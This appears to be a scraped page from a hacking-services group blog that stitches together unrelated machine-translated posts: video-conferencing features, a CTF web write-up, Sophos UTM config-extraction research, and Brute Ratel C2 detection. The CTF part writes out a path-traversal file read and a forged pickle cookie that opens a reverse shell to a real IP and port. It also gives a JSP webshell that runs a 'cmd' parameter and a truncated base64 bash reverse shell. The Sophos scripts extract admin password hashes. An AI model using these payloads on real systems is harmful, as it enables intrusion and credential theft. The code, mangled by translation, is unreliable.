Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863113757

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

（接上文）高級視頻會議功能製作具有自定義功能的視頻會議應用程序通常是一個複雜但有益的過程。以下是您可以在行業特定解決方案中實施的幾個功能示例：

image.png

9 種特定的視頻會議功能

马云惹不起马云基於AI 的視頻質量改進。視頻製作公司使用會議應用程序來記錄內容。例如，英國廣播公司通過電話會議錄製了獲獎系列Staged。為此，他們使用專業相機，但他們還需要能夠實時處理和改進高質量視頻的軟件。使用AI 升級視頻可以讓您真正提高質量，而不是簡單地提高分辨率。

马云惹不起马云高級噪聲抑制。許多流行的視頻會議應用程序都有降噪過濾器，但它們對於專業的音頻和視頻錄製來說還不夠好。用於此類目的的軟件需要能夠消除周圍聲音而不損害聲音和樂器的噪聲抑制機制。

马云惹不起马云低延遲。視頻會議中的延遲和凍結通常很煩人，但它們在專業視頻會議中尤其具有破壞性。要提供實時會議，您需要開發特定的通信協議、實現流框架（GStreamer、Apache Storm等），甚至創建自定義驅動程序來處理音頻和視頻流。

马云惹不起马云先進的文件存儲系統。許多組織使用視頻會議不僅是為了交流，而且是為了共享材料。他們需要一個能夠長期存儲數據並允許他們管理和排序數據、配置對共享文件的訪問等的系統。要與此類組織合作，您需要基於雲或基於服務器的軟件（我們將描述稍後實施選項）具有強大的數據存儲和管理選項。

马云惹不起马云用於舉辦網絡研討會的功能集。舉辦網絡研討會的組織通常需要一組特定的配置。首先，他們需要支付功能來進行付費網絡研討會。然後，必須安排一個網絡研討會，讓參與者能夠訂閱並獲得通知。在網絡研討會期間，演講者或管理員需要能夠管理參與者的權限、共享他們的屏幕、創建白板、進行投票等。

马云惹不起马云與行業特定軟件集成。您的客戶很有可能使用客戶關係管理系統、企業資源規劃系統、電子健康記錄管理系統和其他行業解決方案。他們將欣賞將視頻會議集成到其中的能力。例如，醫生可能需要在打電話之前查看患者記錄，或者抵押貸款經紀人可能必須在討論抵押貸款選項之前分析客戶的財務記錄。

马云惹不起马云支持設備。視頻會議軟件必須支持企業視頻會議硬件和特定用戶設備：專業攝像頭、麥克風、混音台、虛擬現實(VR) 耳機等。並非所有這些設備都具有可用於視頻會議的驅動程序。這就是為什麼您必須預見兼容性問題並在您的軟件中實現對此類設備的支持。

马云惹不起马云支持電子簽名。在視頻會議期間審查和簽署文件的能力對於金融組織、律師事務所和公共部門的機構來說尤其重要。電子簽名基於數字簽名加密機制，被認為是物理簽名文檔的替代方案。在您的視頻會議軟件中實施此機制允許用戶見證和簽署文檔，並將簽署過程記錄為額外的證據。

马云惹不起马云虛擬現實整合。由於大流行和現實生活中的聚會受到嚴重限制，在VR 中舉辦活動變得越來越流行。活動組織以360 度實時視頻的形式流式傳輸音樂會、節日和舞台表演。為此，他們需要能夠處理和流式傳輸大量數據的軟件，這些數據支持PC、智能手機和VR 耳機，並提供高質量的音頻和視頻。

在開始構建視頻會議應用程序之前，最好弄清楚您需要實現的一組通用和特定功能。這樣，您將節省數小時的開發時間並在最後期限內向您的客戶交付軟件。您需要確保的另一件事是用戶通信的安全性。確保通信安全與使通信舒適同樣重要。讓我們回顧一下提高軟件保護的主要功能。

安全通信功能流行的視頻會議應用程序因遭受網絡安全問題而廣為人知。 Zoom 因其眾多的漏洞和妥協而臭名昭著。據報導，由於隱私問題，SpaceX 甚至禁止其員工使用Zoom。 Microsoft Teams 中的一個漏洞允許黑客訪問受攻擊組織的所有Teams 帳戶。 Skype 為黑客提供了欺騙和攻擊網絡釣魚用戶的機制。

由於此類事件，處理敏感數據的企業尋求更可靠的通信解決方案。

您可以通過以下功能確保對您的軟件進行強有力的保護：

image.png

視頻會議軟件的網絡安全功能

马云惹不起马云端到端(E2E) 加密。這種類型的加密保護在兩個端點之間傳輸的數據。第一個端點加密消息，只有第二個端點可以解密它。 E2E 被認為是最安全的加密類型之一，因為除了兩個參與的端點之外，通信鏈（服務提供商、雲提供商、服務器、未經授權的入侵者）中沒有任何人可以讀取消息。請記住，這種類型的加密有其局限性：通過E2E 實現通話錄音、面部識別、降噪或圖像改進具有挑戰性。

马云惹不起马云多因素身份驗證(MFA)。 MFA 是一種額外的訪問控制措施，有助於驗證嘗試登錄軟件的用戶的身份。 MFA 可以使用三類參數驗證用戶：知識（憑證或附加問題）、財產（電話或安全令牌）或遺產（指紋或其他生物特徵數據）。生物識別MFA 是最可靠的，但請記住，用戶需要指紋掃描儀、高端麥克風或攝像頭才能通過此身份驗證。

马云惹不起马云用於數據保護的智能合約。在視頻會議中應用區塊鏈技術提供了許多安全優勢：分散的數據存儲、受保護的數據處理和傳輸以及用戶機密性。此外，使用尖端技術或實施基於區塊鏈的貨幣化可以獲得額外的營銷點。然而，區塊鏈在實時處理大量數據（例如，流式傳輸4K 視頻或共享大文件）、管理企業通信、擴展和遵守法規方面存在問題。

马云惹不起马云公司域和私有域。私有域允許組織根據需要自定義安全和操作設置。例如，他們可以允許通過邀請訪問域並創建具有可配置訪問權限的用戶組。

马云惹不起马云可配置的呼叫管理員設置。管理有許多參與者的在線會議的管理員需要高級設置來管理呼叫。他們需要手動允許用戶加入通話、安排發言人、靜音或禁止參與者、調節聊天等。

马云惹不起马云強大的隱私政策。安全策略允許軟件管理員根據組織或特定會議的需要配置視頻會議軟件。例如，管理員可能需要啟用或禁用端到端加密和文件共享、配置一般用戶權限以及管理加入私有域和組的用戶。

大多數視頻會議應用程序都需要我們上面討論的功能，因為它們可以確保安全、流暢的操作和舒適的用戶體驗。

當您為您的軟件找出完整的功能集後，就該與您的開發團隊討論實現它的方式了。讓我們看一下創建類似Zoom 的應用程序的常用方法及其優缺點和用例。

實現視頻會議應用程序的三種方法過去，視頻會議解決方案分為基於硬件和基於軟件的解決方案。基於硬件的解決方案需要特定的設備。它們提供了更好的視頻質量和安全的通信，但它們比基於軟件的解決方案更昂貴。要使用基於軟件的解決方案，用戶只需安裝應用程序即可。

在現代解決方案中，這種分離已經消失，原因有兩個：

马云惹不起马云基於軟件的解決方案的開發人員大大提高了溝通質量

马云惹不起马云提供良好視頻和音頻質量的網絡攝像頭和麥克風變得更加實惠

今天，如何構建視頻會議應用程序有三個主要選項：

image.png

實現視頻會議的三種方式

對等軟件在參與通信的用戶端點之間路由視頻會議流量。沒有與服務器、雲或任何其他第三方的交互。通常，此類解決方案基於WebRTC、XMPP協議、Jitsi、Peer'Em和其他通信軟件。要構建對等解決方案，您需要設計、實施和支持應用程序本身、其基礎設施和網絡安全機制。

以下是構建對等軟件的主要好處：马云惹不起马云安全通信。由於通信中沒有中介，黑客更難攔截或監聽流量。如果通信受到端到端加密保護，黑客幾乎沒有機會攔截它。

马云惹不起马云高質量的一對一通話。用戶端點在直接通信中發送和解釋通信數據時通常沒有挑戰。這裡唯一的限制是用戶的網絡攝像頭和麥克風的容量。

當涉及到高級多點通信時，點對點實現存在以下限制：马云惹不起马云多點通話質量不可預測。通話質量取決於通話參與者的數量、他們的帶寬和設備限制。對於開發人員來說，管理和提高多點呼叫的質量是一項挑戰。

马云惹不起马云實現文件共享和通話錄音。由於點對點軟件不使用服務器，因此實現這些功能具有挑戰性。用戶共享的文件一直可用，直到用戶從端點重命名或刪除它們。錄製通話將使用用戶端點上的額外資源。

马云惹不起马云對會議的控制很少。在點對點通信中，開發人員無法實現提高音頻和視頻質量的算法。

image.png

基於雲的軟件使用通信平台即服務(CPaaS) 或類似的雲解決方案來部署解決方案的服務器端並維護基礎架構。這種類型的視頻會議軟件部署速度最快，因為開發人員只需創建客戶端並與雲提供商簽署協議。此類提供商的示例包括ATT、Bandwidth、Infobip和Twilio。

在雲中託管您的視頻會議應用程序具有以下好處：马云惹不起马云上市時間短。與實施對等和基於服務器的應用程序相比，實施基於雲的視頻會議應用程序需要更少的開發工作。

马云惹不起马云處理通信數據的能力。在將呼叫路由到用戶端點之前，雲服務會處理通信數據。這意味著開發人員可以管理通話質量、記錄通話、實施數據存儲功能等等。

此類軟件的缺點對於任何基於雲的應用程序都很常見：马云惹不起马云對雲提供商的依賴。在您已經部署和發布您的應用程序時更改雲提供商可能具有挑戰性和痛苦。

马云惹不起马云可擴展性差。您不能使用比提供商能夠提供的更多的服務器資源。此外，擴展您的軟件可能會導致雲服務定價發生變化。

image.png

基於服務器的軟件需要專用的媒體服務器在通話期間處理和重定向數據流。這是自定義視頻會議解決方案的最佳實施選項，因為它為開發人員提供了以下好處：

马云惹不起马云完全控制軟件及其數據。作為應用程序服務器端和客戶端的唯一所有者，您可以實現所需的任何功能，使用必要的網絡安全機制保護您的數據，添加對任何設備的支持，並根據您的需要進行擴展。

马云惹不起马云高音頻和視頻質量。您可以使用上面討論的任何視頻和音頻改進機制來增強您的媒體服務器，從而為您的客戶提供最佳的通信質量。此外，您可以根據用戶的設備能力縮小視頻以減少帶寬。

以下是創建服務器端應用程序的主要挑戰：

马云惹不起马云需要專業的開發團隊。由於您必須自己實現每個功能，因此您需要一個能夠勝任此任務的開發團隊。根據您的需求，團隊可能需要包括人工智能和區塊鏈專家、嵌入式軟件和驅動程序開發人員以確保對特定設備的支持、網絡安全工程師設計數據保護等。

马云惹不起马云對軟件負全責。在基於軟件的模型中，您無需與雲提供商或點對點通信協議開發人員共同承擔解決方案的性能或安全性的責任。

image.png

如您所見，每種實現模型都有主要的優點和局限性。它們之間的選擇應該基於您客戶的需求、開發團隊的能力以及您的項目預算。

結論儘管視頻會議是一個競爭激烈且瞬息萬變的市場，但仍然缺乏像Zoom 這樣高度保護和定制的視頻會議解決方案。這就是為什麼許多企業考慮開發適合其行業和客戶的軟件的原因。

構建自己的視頻會議系統意味著您需要：

马云惹不起马云配備先進的視頻會議功能，以確保積極的用戶體驗

马云惹不起马云使用客戶要求或符合行業法規和標準所需的網絡安全機制保護數據

马云惹不起马云添加有助於客戶工作的特定功能

马云惹不起马云選擇相關的實現模型

HireHackking

yangcheng cup-2024

web

web2

質問に関する情報を収集します。 Dirsearchは、ログインルートにアクセスできることを発見しました。さりげなくクリックして、読むファイルを見つけました：

http://139.155.126.78336030148/歌詞？歌詞=rain.txtiそれを試しました：

http://139.155.126.78336030148/歌詞？歌詞=./././././././././././././

1049983-20241004160047878-2048146175.jpg

任意のファイルの読み取りだと思いましたが、それほど単純ではありませんでした。

最初にソースコードを読んで、/static/style.cssで試してみてください。

1049983-20241004160048783-1918941077.jpg

ファイルが読み取られているディレクトリは/var/www/html/xxx/にあることがわかりました。

1049983-20241004160049544-986345257.jpg

ソースコードが見つかりました。その後、対処が簡単になり、ソースコードが添付されます。

OSをインポートします

ランダムをインポートします

from config.secret_key Import Secret_code

フラスコからインポートフラスコ、make_response、request、render_templateから

CookieからImport set_cookie、cookie_check、get_cookieから

ピクルスをインポートします

app=flask（__name__）

app.secret_key=random.randbytes（16）

クラスuserdata:

def __init __（self、username）:

self.username=username

def waf（data）:

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data.lower（）:のword.lower（）の場合

valid=true

壊す

有効に戻ります

@app.route（ '/'、method=['get']）

def index（）:

return render_template（ 'index.html'）

@app.route（ '/歌詞'、method=['get']）

def歌詞（）:

resp=make_response（）

resp.headers ['content-type']='text/plain; charset=utf-8 '

query=request.args.get（ '歌詞'）

path=os.path.join（os.getcwd（） + '/歌詞'、query）

try:

f:のオープン（パス）

res=f.read（）

E:としての例外を除く

「歌詞が見つかりません」を返します

RESを返します

@app.route（ '/login'、method=['post'、 'get']））

def login（）:

if request.method=='post ':

username=request.form ['username']

user=userdata（username）

res={'username': user.username}

return set_cookie（ 'user'、res、secret=secret_code）

RENDER_TEMPLATE（ 'login.html'）を返します

@app.route（ '/board'、method=['get']）

DEFボード（）:

invalid=cookie_check（ 'user'、secret=secret_code）

Invalid:の場合

「いや、無効なコードが出てください！」

data=get_cookie（ 'user'、secret=secret_code）

ISInstance（データ、バイト）:の場合

a=pickle.loads（data）

data=str（data、encoding='utf-8'）

data:にない「username」の場合

return render_template（ 'user.html'、name='guest'）

data ['username']=='admin':の場合

return render_template（ 'admin.html'、name=data ['username']））

data ['username']！='admin':の場合

return render_template（ 'user.html'、name=data ['username']））

__name__=='__main __' :の場合

os.chdir（os.path.dirname（__ file__））

app.run（host='0.0.0.0'、port=8080）がpycharmに配置されると、2つの存在しないライブラリが見つかります。そのため、現在のフォルダーの.py endingファイルのみを呼び出すことができます。

Pythonでの呼び出しが使用されます。フォルダーの代わりに、探しているのは./cookie.py and ./config/secret_key.pyです。1つ目はCookieの暗号化方法で、2番目はCookieの署名キーです。

次に、Pickle.Loadsがボードで使用されていることがわかり、WAFSにはRキャラクターがあります。それは、ピクルスの脱介入の非R方向で十分であることを意味します。

アイデア：非R方向のピクルスシリアル化スクリプトを使用して入力し、Cookie暗号化方法とキーを使用して署名し、Cookieを変更し、シェルを直接リバウンドします。

最初にcookie.pyを読む：

1049983-20241004160050257-2019573803.jpg

ソースコード：

base64をインポートします

Hashlibをインポートします

HMACをインポートします

ピクルスをインポートします

Flask Import Make_Responseから、リクエスト

unicode=str

BaseString=str

＃Pythonボトルテンプレートから引用、dに感謝します

def cookie_encode（data、key）:

msg=base64.b64encode（pickle.dumps（data、-1））

sig=base64.b64encode（hmac.new（tob（key）、msg、digestmod=hashlib.md5）.digest（）））

tob（ '！'） + sig + tob（ '？'） + msgを返します

def cookie_decode（data、key）:

data=tob（data）

cookie_is_encoded（data）:の場合

sig、msg=data.split（tob（ '？'）、1）

_LSCMP（SIG [1:]、base64.B64Encode（hmac.new（tob（key）、msg、digestmod=hashlib.md5）.digest（））:の場合

return pickle.loads（base64.b64decode（msg））

なしなし

def waf（data）:

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data:の単語の場合

valid=true

＃print（word）

壊す

有効に戻ります

def cookie_check（key、secret=none）:

a=request.cookies.get（key）

data=tob（request.cookies.get（key））

data:の場合

cookie_is_encoded（data）:の場合

sig、msg=data.split（tob（ '？'）、1）

_LSCMP（SIG [1:]、base64.B64Encode（hmac.new（tob（secret）、msg、digestmod=hashlib.md5）.digest（））:の場合

res=base64.b64decode（msg）

WAF（res）:の場合

trueを返します

else:

falseを返します

trueを返します

else:

falseを返します

def tob（s、enc='utf8'）:

s.Encode（enc）を返しますisinstance（s、unicode）else bytes（s）

def get_cookie（key、default=none、secret=none）:

value=request.cookies.get（key）

秘密とvalue:の場合

dec=cookie_decode（value、Secret）

DEC [1]を返すdec and dec [0]==キーelse default

返品値またはデフォルト

def cookie_is_encoded（data）:

データにbool（data.startswith（tob（ '！'））およびtob（ ''？ '）を返す）

def _lscmp（a、b）:

sum（0 x==yの場合、x==yの場合は0、zip（a、b））およびlen（a）==len（b）の場合は0

def set_cookie（name、value、secret=none、** options）:

secret:の場合

value=touni（cookie_encode（（name、value）、secret））

resp=make_response（ 'success'）

resp.set_cookie（ 'user'、value、max_age=3600）

RETURN REST

ElifはISINSTANCE（Value、Basestring）:ではありません

Laise TypeError（ '非弦のクッキーの秘密の鍵がありません。'）

Len（Value）4096:の場合

Raise ValueError（ 'cookie value to long'。 '）

def touni（s、enc='utf8'、err='strict'）:

s.decode（enc、err）を返すISInstance（s、bytes）else unicode（s）ここで使用する必要があるのは、cookie_encode関数であるCookieの暗号化プロセスです。

次に、secret_keyを読みましょう：

1049983-20241004160050986-1957658911.jpg

次に、スクリプト内の他のものを直接削除し、secret_codeとcookie_encryptで暗号化すると、スクリプトが添付されます。

base64をインポートします

Hashlibをインポートします

HMACをインポートします

ピクルスをインポートします

Flask Import Make_Responseから、リクエスト

フラスコのインポートフラスコから、make_responseから

app=flask（__name__）

unicode=str

BaseString=STR＃Pythonボトルテンプレートから引用、Dに感謝します

def cookie_encode（data、key）:

msg=base64.b64encode（data）

sig=base64.b64encode（hmac.new（tob（key）、msg、digestmod=hashlib.md5）.digest（）））

tob（ '！'） + sig + tob（ '？'） + msgを返します

def waf（data）:

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data:の単語の場合

valid=true

＃print（word）

壊す

有効に戻ります

def tob（s、enc='utf8'）:

s.Encode（enc）を返しますisinstance（s、unicode）else bytes（s）

__name__=='__main __' :の場合

res=b '' ''（s'bash -c 'sh -i /dev/tcp/101.37.149.223/2333 01' '\ nios \ n。' '' '

secret_code='feantheplaytime123456'

cookie_value=cookie_encode（res、key=secret_code）

印刷（cookie_value）実行するには：

1049983-20241004160051668-845592983.jpg

次に、 /ボードルートクッキーにコピーし、サーバーはポート2333を聴き、シェルで直接バウンスしました。

1049983-20241004160052398-811563231.jpg

1049983-20241004160053245-526711236.jpg

ルートディレクトリのReadflagは、フラグを取得するために直接実行されます。

web3

アクセス /MyApp入力後。次に、アクセス /読み取りに移動してファイルを読み取り、オンラインで記事を見つけます。

https://www.cnblogs.com/junglezt/p/18122284 Tomcat /conf/tomcat-users.xmlの多くが変更されないため、パスワードが内側にあることがわかります。

1049983-20241004160054060-485284736.jpg

次に、それを見つけて、ログインに移動してログインします。

ログインした後、アップロード操作を実行できることがわかりました。そして、ここでポイントを見つけました。

1049983-20241004160100829-2097794800.jpg

web.xmlを入力すると、間違いなく禁止され、ファイルのアップロードにはフィルタリングがありません。

XMLなどの構成ファイルのみを使用できるため、構成ファイルを変更してXMLをJSPのXML構成ファイルとして直接認識し、1.xmlで渡すことができます。

1049983-20241004160101619-371163988.jpg

？xmlバージョン='1.0'エンコード='utf-8'？

web-app xmlns='http://xmlns.jcp.org/xml/ns/javaee'

xmlns:xsi='http://www.w3.org/2001/xmlschema-instance'

XSI:SCHEMALOCATION='http://XMLNS.JCP.ORG/XML/NS/JAVAEE http://XMLNS.JCP.ORG/xml/ns/javaee/web-app_4_0.xsd'バージョン='4.0' '

サーブレット

サーブレット - ナメックス/サーブレット名

jsp-file/web-inf/1.xml/jsp-file

Load-on-startup1/load-on-startup

/サーブレット

サーブレットマッピング

サーブレット - ナメックス/サーブレット名

url-pattern/exec/url-pattern

/サーブレットマッピング

/web-app次に、1.xmlで渡されて、JSPファイルとして認識できるかどうかを確認しようとします。私たちが渡すのはトロイの木馬です：

％

out.println（ 'hello'）;

プロセスプロセス=runtime.getRuntime（）。exec（request.getParameter（ 'cmd'））;

％

1049983-20241004160102504-257286285.jpg

読み取りは絶対的なパスを使用して読み取り、その後、絶対的なパスはその /envルートにあります。そして、あなたはそれを手に入れるためにチャットに尋ねることができます。次に、アクセスが成功した後、構成ファイルで定義された /execルートにアクセスし、CMDパラメーターを渡し、hello：Echo Helloを確認するために任意のパラメーターを渡すことがわかりました。

1049983-20241004160103176-2006551884.png

成功したエコーは、JSPトロイの木馬が渡されたことを示していることがわかります。JSPリバウンドシェルを直接使用してヒットします。

bash -c {echo、ymfzacatasa+jiavzgv2l3rj

HireHackking

0x00 前言對於Sophos UTM設備，介紹利用方法的資料很少，本文將要介紹從零研究導出配置文件的過程，記錄細節，開源利用腳本。

0x01 簡介本文將要介紹以下內容：

Sophos UTM測試環境搭建

導出配置文件的研究過程

開源腳本

0x02 Sophos UTM測試環境搭建1.下載鏡像下載頁面：https://www.sophos.com/en-us/support/downloads/utm-downloads

這裡選擇版本9.711-5.1，分別有以下兩個鏡像文件：

ssi-9.711-5.1.iso，需要在Sophos設備上安裝，如果直接在VM中安裝，會提示'No appliance hardware has been detected' on appliance hardware

asg-9.711-5.1.iso，可在VM中安裝

測試環境使用VMware搭建，所以下載asg-9.711-5.1.iso

2.安裝鏡像配置好後等待系統重啟，訪問配置頁面：https://ip :4444/

設置admin account password，作為登錄配置頁面的用戶名和口令

3.配置需要填入License

4.開啟ssh登錄進入配置頁面後，依次選擇Management-System Settings-Shell Access，分別設置root用戶和loginuser用戶的口令

如下圖

b530cdf7a41d94e6689cc4bdf0e96a1.png

5.允許root用戶口令登錄sshsed-i's/PermitRootLoginno/PermitRootLoginyes/g'/etc/ssh/sshd_config

/var/mdw/scripts/sshdrestart0x03 導出配置文件的研究過程1.查詢postgresql數據庫配置文件的位置：/var/storage/pgsql92/data/postgresql.conf

默認配置下，連接數據庫不需要口令

連接命令：

psql-hlocalhost-Upostgres數據庫內容如下圖

49e2ee52ff31e485e5037576a911104.png

但我在數據庫中沒有找到配置信息

2.查詢文檔獲得查看配置的思路依次執行以下命令：

cc

webadmin

port$獲得了webadmin的port信息，如下圖

d28c5771af3f08a4229e8cc6d4d2fc1.png

從輸出內容上，發現cc命令連接了127.0.0.1的4472端口，接下來打算從端口入手

3.定位同4472端口相關的進程獲得4472端口對應的進程pid：

netstat-ltp|grep4472返回內容如下圖

621e7e46b449960b11096a59a03ecfd.png

從返回內容可以看到對應的進程pid為4407

4.查看pid 4407的進程信息依次執行以下命令：

cd/proc/4407/cwd

ls返回內容如下圖

386ae6b895d3fb67515ee5cce4e206e.png

從返回內容獲得以下信息：

目錄為/var/confd

配置文件為config.pm

主程序為confd.plx，無法直接查看源代碼

5.反編譯confd.plx經過搜索，在《网络设备分析实战 | Sophos UTM固件反编译Perl源码》 獲得提示：plx文件是由PerlAPP工具編譯而來，可通過動態調試的方法使用IDA反編譯出源碼

經過搜索，在《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 獲得更為簡單的反編譯方法:通過Python實現靜態反編譯

參照《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 中的方法在反編譯confd.plx的過程中，會遇到bug，我們需要修改《Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223》 中提到的bfs_extract.py

整合yank.py和bfs.py，修復bfs_extract.py中的bug，完整的代碼已上傳至github，地址如下：

https://github.com/3gstudent/Homework-of-Python/blob/master/SophosUTM_plxDecrypter.py

使用SophosUTM_plxDecrypter.py能夠獲得confd.plx的反編譯代碼

6.代碼分析經過分析，得知Export-confd.plx\confd.pl為主要功能，在代碼中發現配置文件的位置為$config:storage_dir/cfg

如下圖

60ddeb2d269773114168fecddb223c8.png

對應的絕對路徑為/var/confd/var/storage/cfg

7.文件格式分析查看cfg的文件格式：

file/var/confd/var/storage/cfg返回結果：

/var/confd/var/storage/cfg:perlStorable(v0.7)data(major2)(minor7)得知格式為perl Storable data，這是Perl經過序列化(Perl中稱為凍結)生成的二進制數據

8.文件格式解析(1)文件提取

這裡可以使用Python的storable模塊提取數據

安裝storable模塊：

pipinstallstorable簡單使用：

fromstorableimportretrieve

data=retrieve('cfg')

print(data)輸出結果為json數據

(2)文件分析

為了便於分析json數據，這裡使用Sublime Text的pretty json插件，安裝方法如下：

在Sublime text中依次選擇Tools - Command Palette.打開面板，輸入pci，選中PackageControl: Install Package，在彈出的輸出框中填入pretty json

設置調用pretty json插件的快捷鍵為ctrl+alt+j：

在Sublime Text中依次選擇Preferences - Key Bindings，在彈出的右側窗口添加如下內容：

[

{'keys':['ctrl+alt+j'],'command':'pretty_json'},

]在使用pretty json解析json時會提示格式錯誤，按照提示逐個修復即可

最終顯示的格式如下圖

631f7de722fed7fec962e64f8bfa2bf.png

9.數據提取為了提高效率，這裡可以使用Python提取出關鍵數據，開發細節如下：

(1)提取用戶信息

通過分析json文件，發現data['exclusive'][b'email_user']['u2v']中的key為每個用戶信息的標誌，例如user: REF_AaaUseVpn1

再通過對應標誌位置的鍵值能夠獲取用戶的完整信息，位置為data['objects'][ flag ]['data']，對應例子的位置為data['objects']['REF_AaaUseVpn1']['data']

實現代碼：

defGetUserDataFull(file):

data=retrieve(file)

print('[*]Trytogetthefulldataofuser')

forkey,valueindata['exclusive'][b'email_user']['u2v'].items():

index=key.rfind(':')

indexobject=data['objects'][key[index+1:]]['data']

print('[+]'+data['objects'][key[index+1:]]['data']['name'])

forkey1,value1inindexobject.items():

print(''+str(key1)+':'+str(value1))(2)提取網絡配置信息

通過分析json文件，發現data['index']['network']中的value為每個網絡配置的標誌，例如REF_DefaultInternalNetwork

再通過對應標誌位置的鍵值讀取完整信息，位置為data['objects'][ flag ]['data']，對應例子的位置為data['objects']['REF_DefaultInternalNetwork']['data']

實現代碼：

defGetNetworkConfig(file):

data=retrieve(file)

print('[*]Trytogettheconfigofnetwork')

forkey,valueindata['index']['network'].items():

print('[+]'+str(key))

forobjectvalueinvalue:

print('-'+objectvalue)

forkey1,value1indata['objects'][objectvalue]['data'].items():

print(''+str(key1)+':'+str(value1))(3)提取LastChange信息

位置：data['lastchange']

需要注意時間格式，默認為數字形式，例如1652930086，需要進行轉換

實現代碼：

defGetLastChange(file):

data=retrieve(file)

print('[*]TrytogetthedataofLastChange')

print('')

forkey,valueindata['lastchange'].items():

print('[+]'+str(key))

forkey1,value1invalue.items():

ifstr(key1)=='time':

print('time:'+str(datetime.fromtimestamp(value['time'])))

else:

print(''+str(key1)+':'+str(value1))完整的代碼已上傳至github，地址如下：

https://github.com/3gstudent/Homework-of-Python/blob/master/SophosUTM_ConfigParser.py

代碼支持以下功能：

GetAdminDataFull，提取出管理員用戶的完整信息

GetAdminHash，提取出管理員用戶的md4 hash

GetLastChange，提取出LastChange信息

GetNetworkConfig，提取出網絡配置信息

GetRemoteAccess，提取出VPN配置信息

GetSSHConfig，提取出SSH連接信息

GetUserDataFull，提取出用戶的完整信息

GetUserHash，提取出用戶的md4 hash

Parsefile，提取出完整信息

0x04 小結本文介紹了導出Sophos UTM配置文件的研究過程，開源利用腳本以提高分析效率。

HireHackking

如何發現信標（一）

我們在上一篇文章介紹了對C2 框架執行威脅追踪的通用方法以及針對Cobalt Strike 的實際示例。接下來，我們將分析由Dark Vortex 開發的命令和控制框架Brute Ratel。其C2如下所示：

1.png

在過去的幾個月裡，該框架受到了密切關注，據稱最近被APT29 和勒索軟件組織BlackCat 濫用。因此，了解如何在基礎設施中普遍地檢測這個新興的C2對於防御者來說是有用的。

最初，所有分析都是在Brute Ratel v1.0.7上執行的，但是，我們進行了粗略的更新，討論了與v1.1 相關的發現，該發現是在我們最初的x33fcon 演示後不久發布的。 Brute Ratel 應該注意的一件事是，badger 的擴展性有限，主要從c2 通道的角度來看，除了v1.1 ，它增加了休眠混淆技術的擴展性。因此，它可以為工具創建非常具體的檢測。

Brute Ratel 的加載器Brute Ratel 的badger有多種形式，包括exe、DLL 和shellcode。當badger 被注入時，它的反射加載器將立即加載badger 所需的所有依賴項。由於badger 捆綁了大量的後利用功能，這導致在初始化時加載大量DLL：

2.png

如上所示，突出顯示的DLL 是注入badger 時加載的所有DLL。此列表包括winhttp.dll 和wininet.dll 的加載，它們不一定是惡意的，而是輸出信標的傳統加載。然而，還有一些不太常見的dll被加載，比如dbghelp.dll、credui.dll samcli.dll和logoncli.dll等。

這種行為允許我們為圖像加載創建一個簽名，並產生一個高信號指示器，可以通過圖像加載檢測來尋找。

例如，使用彈性查詢語言，我們可以搜索credui.dll、dbghelp.dll和winhttp.dll在一個進程中相互間隔60秒內發生的加載事件序列：

3.png

使用EQL 工具或Elastic 的雲，我們可以搜索我們的事件數據，例如從sysmon 日誌中提取的以下內容。請注意，我們明確排除了badger 可執行文件本身，因此我們只能識別注入的badger：

4.png

這將導致以下顯示檢測到被注入notepad.exe 的badger：

5.png

這個查詢特別強大，因為它允許我們在網絡中追溯尋找Brute Ratel badger的指標，而無需直接在終端上運行代碼。

內存中的Brute Ratel由於大多數信標仍然駐留在內存中，因此了解留下的足跡以尋找它們非常重要。查看1.0 版本的Brute Ratel 文檔，它詳細介紹了它自己的混淆和休眠實現：

6.png

這個查詢特別強大，因為它允許我們在網絡中追溯尋找Brute Ratel badger的指標，而無需直接在終端上運行代碼。

由於大多數信標仍然駐留在內存中，因此為了尋找它們，了解留下的足跡是很重要的。回顧一下Brute Ratel 1.0版本的文檔，它詳細介紹了它自己的混淆和休眠實現：

7.png

一旦badger進入休眠狀態，我們就可以使用Process Hacker 從進程中恢復字符串。有趣的是，當badger休眠時，我們可以看到如下字符串：

8.png

鑑於前面提到的在Brute Ratel 博客上描述的所謂的休眠和混淆策略，這最初是相當令人驚訝的。

深入挖掘後，我們可以發現一些有趣的設計決策，其中顯示在操作員UI 中的許多字符串都是從badger本身填充的。例如，我們可以在badger休眠時的內存中看到以下內容：

9.png

然後這些字符串返回到UI，如下所示：

10.png

深入研究badger，很快就發現只有.text 部分在休眠時被混淆，使得badger容易受到針對字符串和數據的各種簽名的影響。

為了說明這一點，反轉badger，我們可以將加載程序的入口點視為“bruteloader”：

11.png

在badger休眠時在內存中搜索這個字符串，我們可以在記事本進程中快速找到它：

12.png

這些字符串為內存掃描的Yara 規則提供了一個很好的基礎。例如，以下規則將在進程的內存中搜索bruteloader 或bhttp_x64.dll 字符串：

13.png

我們可以在badger休眠時針對我們的記事本進程測試這些以證明其有效性：

14.png

字符串不太可能存在於其他進程中，使用簡單的一行代碼就可以快速找到測試系統中所有被注入的badger：

15.png

使用Yara 規則，我們可以快速找到其他樣本，例如：

16.png

頁面權限通過對Brute Ratel混淆和睡眠策略的分析，可以觀察到badger在休眠期間對badger的頁面權限進行調整，以試圖逃避badger休眠時延長的可執行權限。

下面，我們可以看到badger 在sleep 0 上運行，badger 的頁面權限在未映射的頁面上為PAGE_EXECUTE_READ，這對於執行任務是必要的。

17.png

讓badger進入休眠狀態，我們可以看到混淆和休眠策略混淆了.text 部分並將badger的頁面權限重置為PAGE_READWRITE：

18.png

有趣的是，我們注意到在執行SMB 數據透視時不會復制此行為，即當兩個badger被關聯時。在這裡，我們可以看到我們的兩個badger相互關聯，並且都處於60 秒的休眠狀態：

19.png

